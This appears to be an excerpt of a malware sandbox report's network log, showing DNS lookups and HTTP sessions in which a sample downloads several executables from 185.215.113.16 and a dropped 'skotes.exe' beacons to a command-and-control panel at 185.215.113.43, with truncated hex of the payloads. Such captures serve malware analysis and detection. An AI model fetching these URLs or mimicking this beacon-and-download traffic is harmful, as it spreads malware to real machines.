Oct 30, 2024 04:36:24.143764973 CET	1.1.1.1	192.168.2.7	0xebaa	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.153090000 CET	1.1.1.1	192.168.2.7	0xa9bc	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Oct 30, 2024 04:36:24.173609972 CET	1.1.1.1	192.168.2.7	0x80e	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 04:36:24.173609972 CET	1.1.1.1	192.168.2.7	0x80e	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.173609972 CET	1.1.1.1	192.168.2.7	0x80e	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.173609972 CET	1.1.1.1	192.168.2.7	0x80e	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.173609972 CET	1.1.1.1	192.168.2.7	0x80e	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.183759928 CET	1.1.1.1	192.168.2.7	0x3ef3	No error (0)	twitter.com		104.244.42.65	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.184657097 CET	1.1.1.1	192.168.2.7	0xbecc	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 30, 2024 04:36:24.184657097 CET	1.1.1.1	192.168.2.7	0xbecc	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 30, 2024 04:36:24.184657097 CET	1.1.1.1	192.168.2.7	0xbecc	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 30, 2024 04:36:24.184657097 CET	1.1.1.1	192.168.2.7	0xbecc	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 30, 2024 04:36:24.213646889 CET	1.1.1.1	192.168.2.7	0x21d4	No error (0)	twitter.com		104.244.42.1	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.223788977 CET	1.1.1.1	192.168.2.7	0xad3c	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.223788977 CET	1.1.1.1	192.168.2.7	0xad3c	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.223788977 CET	1.1.1.1	192.168.2.7	0xad3c	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 04:36:24.223788977 CET	1.1.1.1	192.168.2.7	0xad3c	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49781	185.215.113.16	80	7416	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 04:34:28.984989882 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 30, 2024 04:34:29.892990112 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 03:34:29 GMT Content-Type: application/octet-stream Content-Length: 2899456 Last-Modified: Wed, 30 Oct 2024 03:12:16 GMT Connection: keep-alive ETag: "6721a410-2c3e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2c 00 00 04 00 00 f0 41 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$, `@ ,A,`Ui` @ @.rsrc`2@.idata 8@mljriapp++:@mudtavgt ,,@.taggant@,",@
Oct 30, 2024 04:34:29.893008947 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 04:34:29.893018961 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 04:34:29.893042088 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 04:34:29.893057108 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 04:34:29.893071890 CET	336	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 04:34:29.893088102 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 04:34:29.893104076 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 04:34:29.893119097 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 04:34:29.893136978 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: \HtJIIoPX[[HdSCdIOMKL;TUMhAtj?LJLNK6TwvTWQfwWQY3_
Oct 30, 2024 04:34:29.898600101 CET	1236	IN	Data Raw: 40 8d 46 0a c0 50 78 39 3f 61 5a ad 40 8b b6 7f 45 ef 44 c5 7e 8d 4c 16 05 1a 8f 0f 47 a4 d5 40 8e 44 54 52 46 70 48 a7 02 62 c8 55 c3 ba 1c 4c fc 50 b2 ce 6f 50 c8 78 45 fb 44 4f 17 d9 61 2b 40 53 94 68 f9 bf 49 58 f7 67 bd 69 3b c1 63 77 59 52 Data Ascii: @FPx9?aZ@ED~LG@DTRFpHbULPoPxEDOa+@ShIXgi;cwYRR2eKRsr[[G'd{zE+TwQKcJ`}MGEIrOJeWaJ_IYz`m\|QOSQBe!furLe\|sYpKQOyaDsQTYTtUAqMrPL
Oct 30, 2024 04:34:36.119692087 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 30, 2024 04:34:36.398613930 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 03:34:36 GMT Content-Type: application/octet-stream Content-Length: 1873408 Last-Modified: Wed, 30 Oct 2024 03:11:30 GMT Connection: keep-alive ETag: "6721a3e2-1c9600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 60 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf`J@Ja@Wk$JJIJ @.rsrc@.idata @ *@lltvbtub0\|@makelupgPJp@.taggant0`J"t@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49981	185.215.113.43	80	6916	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 04:35:16.275921106 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 04:35:17.192286968 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 03:35:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49982	185.215.113.43	80	6916	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 04:35:18.887428045 CET	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 30 32 41 37 33 42 34 35 45 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB02A73B45E82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Oct 30, 2024 04:35:19.827088118 CET	554	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 03:35:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 62 0d 0a 20 3c 63 3e 31 30 30 32 35 32 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 32 35 32 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 32 35 32 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 32 35 33 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16b <c>1002527001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1002528001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1002529001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1002530001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fff7a7df309c5441f056fc49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49983	185.215.113.16	80	6916	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 04:35:19.836889029 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 30, 2024 04:35:20.759000063 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 03:35:20 GMT Content-Type: application/octet-stream Content-Length: 3014144 Last-Modified: Wed, 30 Oct 2024 03:11:10 GMT Connection: keep-alive ETag: "6721a3ce-2dfe00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 10 31 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 31 00 00 04 00 00 7c 16 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELSgJ1@@1\|.@Th@ ~@.rsrc@@.idata @xoqsqsvtP+D+@yvvklzuq1-@.taggant01"-@
Oct 30, 2024 04:35:20.759016991 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 04:35:20.759028912 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 04:35:20.759078979 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 04:35:20.759092093 CET	1236	IN	Data Raw: b3 44 03 4a 9f 85 0a 6c 8e cf f1 f8 12 a4 78 07 02 f0 bf e9 e1 50 80 01 0d 14 6f 6c 56 de e5 a0 07 b4 88 95 f3 73 0c 10 23 84 aa fd 86 d7 2c f4 d4 e8 e8 50 e3 1d 8b ce a5 0c 76 76 d7 f8 03 d0 06 f1 22 bd df 11 ef fd 0a 77 84 c1 17 f7 ef cc d6 98 Data Ascii: DJlxPolVs#,Pvv"w\Y`~48,EL{oGgO:vg=bgTv_jVd_[airh!A%SON{Wf('oHhl<xv#0]$48GV9zk
Oct 30, 2024 04:35:20.759103060 CET	1236	IN	Data Raw: aa 0b b5 c2 14 21 58 35 a5 68 98 c5 9a 6f 87 72 a8 4a e8 02 58 cf 04 23 f6 e4 ea f0 98 0b f8 10 7b 98 77 d7 e8 8d 7f a7 a3 e7 07 10 76 7c d9 1d e3 d8 68 c9 1d 9c 73 c5 a7 37 29 ff c6 ef 6e ff cd bc a1 ae 94 64 8f ad d3 d8 12 d0 68 1a 04 5f e2 d7 Data Ascii: !X5horJX#{wv\|hs7)ndh_[@H[.'_dl`?CxGZo!4xA`/(W/f:7L\I8>C\|ID E=Ln7[?]HGry Ffmko"MI%cu1i
Oct 30, 2024 04:35:20.759115934 CET	1236	IN	Data Raw: 5e cb e7 e8 7f b2 27 02 f1 2c e2 a1 75 52 d2 5b e4 be 77 10 66 2f d9 c7 e8 e3 a0 7d e1 07 ce 02 5c 3c 0d 79 8a eb 7e 16 b6 6f d4 8e 94 72 8a 66 4f 3f 89 c7 42 2b 7d 64 0f 53 b0 ce df 6f d8 63 22 b7 c6 cb c6 71 cf be f4 50 88 b7 a1 83 f0 db 39 67 Data Ascii: ^',uR[wf/}\<y~orfO?B+}dSoc"qP9ga2Qx8ylt1@msp)A{s?]YTGz^'tG8h0E^fl`?`r`TI6W'Z6&55C(Q5W
Oct 30, 2024 04:35:20.759282112 CET	884	IN	Data Raw: e5 a3 04 f9 d5 e7 13 5c e8 ac eb ac 80 54 e8 b7 e8 f0 6e 63 66 0f 18 68 ca bb 6c da be 50 00 71 a7 32 fb ad fe b0 58 77 5f ce 31 cf 7e c7 75 45 f8 0b f5 b8 f9 87 68 37 c2 92 d6 5a 9c 67 02 1b ba c0 fd 42 bf 4c 3f 1c db 00 19 7b a1 6c 8b de 5d b0 Data Ascii: \TncfhlPq2Xw_1~uEh7ZgBL?{l]Lu/Hf`_PTW=e\|aN&h?-Fw y!k6=w+u/*VXf4T\|\|>o6mMLbn5YfrjUz
Oct 30, 2024 04:35:20.759294987 CET	1236	IN	Data Raw: 33 7c 70 11 8c b2 e7 d3 ca 62 51 b1 07 b3 8c 8b 9f 7f e7 9f 13 17 bd 4b 66 28 e4 49 eb 25 6f a7 bb f4 a4 09 9f 92 c5 2b e8 b9 19 9c c2 6e 6f ef ec 76 3b a7 2a 74 e5 10 01 ac b6 e9 b2 10 34 35 2a 50 78 aa 76 a4 48 73 a2 e9 40 ba a9 36 da 7f ed e4 Data Ascii: 3\|pbQKf(I%o+nov;t45PxvHs@6ZG88uT>z@/qx{igzsPQ!!ct5w#-rP\|*5QrR1luc[YV\|_$;OohP
Oct 30, 2024 04:35:20.759305000 CET	1236	IN	Data Raw: 23 a2 8e c4 48 5b fa 2e dc d4 06 bc 06 46 28 eb 06 3e e6 07 1e 57 f5 73 74 77 35 f3 0a 2f 01 dc 18 b8 d8 82 17 82 1f 86 5b ab 8c 0f 25 4d df 54 8f 53 00 e1 50 e9 36 35 ed ac 70 d1 80 38 6a 46 1f 65 a9 7f 7b 52 55 a0 8d 89 7d d5 31 82 f5 e3 88 87 Data Ascii: #H[.F(>Wstw5/[%MTSP65p8jFe{RU}1Oo*gT>5]G}Lc%.v\X^`"~l0vSbI"TLoz{f!Rp?{74uFh)6
Oct 30, 2024 04:35:20.764569044 CET	1236	IN	Data Raw: 87 43 9a d1 e6 39 76 d8 d5 a1 fc 17 09 49 fd 4d e3 fb 92 be 17 8c 72 6f 98 93 08 bb 9a aa 64 bd 81 74 98 b6 cb 17 9d 3f 55 0b 07 44 82 70 f5 85 16 c0 80 06 7f df be 54 c4 2f 7e 8e e3 09 8c 58 53 52 a8 34 33 d2 22 a3 22 76 2f e6 8f 66 21 d4 e1 54 Data Ascii: C9vIMrodt?UDpT/~XSR43""v/f!T mHl;[gNdygW%0Z6SVG6'bI9uXwm `.T\8yVLJsLB[lUnK!+Wy`*ZmH.} j9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49985	185.215.113.43	80	6916	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 04:35:29.517035007 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 35 32 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002527001&unit=246122658369
Oct 30, 2024 04:35:30.487538099 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 03:35:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49986	185.215.113.16	80	6916	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 04:35:30.516657114 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 30, 2024 04:35:31.434344053 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 03:35:31 GMT Content-Type: application/octet-stream Content-Length: 2153984 Last-Modified: Wed, 30 Oct 2024 03:11:24 GMT Connection: keep-alive ETag: "6721a3dc-20de00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 a0 73 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 73 00 00 04 00 00 31 b9 21 00 02 00 40 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,s@s1!@P.d. p.v@.rsrc .@.idata .@ *.@qjfwfzym0`Y.@mmzyrysas @.taggant0s" @
Oct 30, 2024 04:35:31.434407949 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 04:35:31.434433937 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 04:35:31.434458017 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
